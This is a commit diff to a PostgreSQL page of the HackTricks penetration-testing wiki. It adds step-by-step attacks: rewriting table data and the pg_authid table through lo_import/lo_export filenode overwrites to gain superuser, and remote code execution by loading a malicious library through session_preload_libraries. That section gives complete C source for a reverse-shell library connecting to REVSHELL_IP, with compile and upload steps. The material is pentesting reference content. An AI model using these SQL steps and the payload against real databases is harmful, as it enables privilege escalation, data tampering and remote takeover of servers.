mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Update pentesting-postgresql.md
This commit is contained in:
parent
a7d59856c3
commit
11c80bb962
1 changed files with 147 additions and 1 deletions
|
@ -339,6 +339,67 @@ However, there are **other techniques to upload big binary files:**
|
|||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
### Updating PostgreSQL table data via local file write
|
||||
If you have the necessary permissions to read and write PostgreSQL server files, you can update any table on the server by overwriting the associated file node in [the PostgreSQL data directory](https://www.postgresql.org/docs/8.1/storage.html).
|
||||
More on this technique [here](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
|
||||
Required steps:
|
||||
1. Obtain the PostgreSQL data directory
|
||||
```sql
|
||||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
```
|
||||
|
||||
**Note:** If you are unable to retrieve the current data directory path from settings, you can query the major PostgreSQL version through the `SELECT version()` query and try to brute-force the path. Common data directory paths on Unix installations of PostgreSQL are `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. A common cluster name is `main`.
|
||||
|
||||
2. Obtain a relative path to the filenode, associated with the target table
|
||||
```sql
|
||||
SELECT pg_relation_filepath('{TABLE_NAME}')
|
||||
```
|
||||
This query should return something like `base/3/1337`. The full path on disk will be `$DATA_DIRECTORY/base/3/1337`, i.e. `/var/lib/postgresql/13/main/base/3/1337`.
|
||||
|
||||
3. Download the filenode through the `lo_*` functions
|
||||
```sql
|
||||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||||
```
|
||||
4. Get the datatype, associated with the target table
|
||||
```sql
|
||||
SELECT
|
||||
STRING_AGG(
|
||||
CONCAT_WS(
|
||||
',',
|
||||
attname,
|
||||
typname,
|
||||
attlen,
|
||||
attalign
|
||||
),
|
||||
';'
|
||||
)
|
||||
FROM pg_attribute
|
||||
JOIN pg_type
|
||||
ON pg_attribute.atttypid = pg_type.oid
|
||||
JOIN pg_class
|
||||
ON pg_attribute.attrelid = pg_class.oid
|
||||
WHERE pg_class.relname = '{TABLE_NAME}';
|
||||
```
|
||||
5. Use the [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) to [edit the filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); set all `rol*` boolean flags to 1 for full permissions.
|
||||
```bash
|
||||
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
||||
```
|
||||
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
|
||||
7. Re-upload the edited filenode via the `lo_*` functions, and overwrite the original file on the disk
|
||||
```sql
|
||||
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
|
||||
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
|
||||
```
|
||||
8. *(Optionally)* Clear the in-memory table cache by running an expensive SQL query
|
||||
```sql
|
||||
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
||||
```
|
||||
9. You should now see updated table values in the PostgreSQL.
|
||||
|
||||
You can also become a superadmin by editing the `pg_authid` table. **See [the following section](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)**.
|
||||
|
||||
|
||||
## RCE
|
||||
|
||||
### **RCE to program**
|
||||
|
@ -392,8 +453,11 @@ Once you have **learned** from the previous post **how to upload binary files**
|
|||
{% endcontent-ref %}
|
||||
|
||||
### PostgreSQL configuration file RCE
|
||||
{% hint style="info" %}
|
||||
The following RCE vectors are especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
|
||||
{% endhint %}
|
||||
|
||||
The **configuration file** of postgresql is **writable** by the **postgres user** which is the one running the database, so as **superuser** you can write files in the filesystem, and therefore you can **overwrite this file.**
|
||||
The **configuration file** of PostgreSQL is **writable** by the **postgres user**, which is the one running the database, so as **superuser**, you can write files in the filesystem, and therefore you can **overwrite this file.**
|
||||
|
||||
![](<../.gitbook/assets/image (303).png>)
|
||||
|
||||
|
@ -436,6 +500,69 @@ The general steps are:
|
|||
3. Reload the config: `SELECT pg_reload_conf()`
|
||||
4. Force the WAL operation to run, which will call the archive command: `SELECT pg_switch_wal()` or `SELECT pg_switch_xlog()` for some Postgres versions
|
||||
|
||||
#### **RCE with preload libraries**
|
||||
More information [about this technique here](https://adeadfed.com/posts/postgresql-select-only-rce/).
|
||||
|
||||
This attack vector takes advantage of the following configuration variables:
|
||||
- `session_preload_libraries` -- libraries that will be loaded by the PostgreSQL server at the client connection.
|
||||
- `dynamic_library_path` -- list of directories where the PostgreSQL server will search for the libraries.
|
||||
|
||||
We can set the `dynamic_library_path` value to a directory, writable by the `postgres` user running the database, e.g., `/tmp/` directory, and upload a malicious `.so` object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the `session_preload_libraries` variable.
|
||||
|
||||
The attack steps are:
|
||||
1. Download the original `postgresql.conf`
|
||||
2. Include the `/tmp/` directory in the `dynamic_library_path` value, e.g. `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. Include the malicious library name in the `session_preload_libraries` value, e.g. `session_preload_libraries = 'payload.so'`
|
||||
4. Check major PostgreSQL version via the `SELECT version()` query
|
||||
5. Compile the malicious library code with the correct PostgreSQL dev package
|
||||
Sample code:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include "postgres.h"
|
||||
#include "fmgr.h"
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
||||
void _init() {
|
||||
/*
|
||||
code taken from https://www.revshells.com/
|
||||
*/
|
||||
|
||||
int port = REVSHELL_PORT;
|
||||
struct sockaddr_in revsockaddr;
|
||||
|
||||
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
||||
revsockaddr.sin_family = AF_INET;
|
||||
revsockaddr.sin_port = htons(port);
|
||||
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
|
||||
|
||||
connect(sockt, (struct sockaddr *) &revsockaddr,
|
||||
sizeof(revsockaddr));
|
||||
dup2(sockt, 0);
|
||||
dup2(sockt, 1);
|
||||
dup2(sockt, 2);
|
||||
|
||||
char * const argv[] = {"/bin/bash", NULL};
|
||||
execve("/bin/bash", argv, NULL);
|
||||
}
|
||||
```
|
||||
Compiling the code:
|
||||
```bash
|
||||
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
|
||||
```
|
||||
6. Upload the malicious `postgresql.conf`, created in steps 2-3, and overwrite the original one
|
||||
7. Upload the `payload.so` from step 5 to the `/tmp` directory
|
||||
8. Reload the server configuration by restarting the server or invoking the `SELECT pg_reload_conf()` query
|
||||
9. At the next DB connection, you will receive the reverse shell connection.
|
||||
|
||||
## **Postgres Privesc**
|
||||
|
||||
### CREATEROLE Privesc
|
||||
|
@ -624,6 +751,25 @@ And then **execute commands**:
|
|||
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Privesc by Overwriting Internal PostgreSQL Tables
|
||||
{% hint style="info" %}
|
||||
The following privesc vector is especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
|
||||
{% endhint %}
|
||||
|
||||
If you can **read and write PostgreSQL server files**, you can **become a superuser** by overwriting the PostgreSQL on-disk filenode, associated with the internal `pg_authid` table.
|
||||
|
||||
Read more about this technique [here](https://adeadfed.com/posts/updating-postgresql-data-without-update/).
|
||||
|
||||
The attack steps are:
|
||||
1. Obtain the PostgreSQL data directory
|
||||
2. Obtain a relative path to the filenode, associated with the `pg_authid` table
|
||||
3. Download the filenode through the `lo_*` functions
|
||||
4. Get the datatype, associated with the `pg_authid` table
|
||||
5. Use the [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) to [edit the filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); set all `rol*` boolean flags to 1 for full permissions.
|
||||
7. Re-upload the edited filenode via the `lo_*` functions, and overwrite the original file on the disk
|
||||
8. *(Optionally)* Clear the in-memory table cache by running an expensive SQL query
|
||||
9. You should now have the privileges of a full superadmin.
|
||||
|
||||
## **POST**
|
||||
|
||||
```
|
||||
|
|
Loading…
Reference in a new issue